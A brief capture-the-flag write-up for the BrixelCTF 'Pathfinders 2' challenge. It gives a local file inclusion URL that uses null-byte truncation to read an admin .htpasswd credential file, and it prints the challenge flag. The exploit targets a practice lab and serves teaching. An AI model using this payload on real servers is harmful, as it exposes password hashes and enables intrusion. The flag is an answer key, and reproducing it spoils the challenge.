The index.php is used to load files without any limit, so only access:
http://timesink.be/pathfinder2/index.php?page=admin/.htpasswd%00.php

`brixelCTF{outdated_php}`

Original writeup (https://md.darknebu.la/4cDzvoArTDCD-hpjSmVTwQ?both#Pathfinders-2).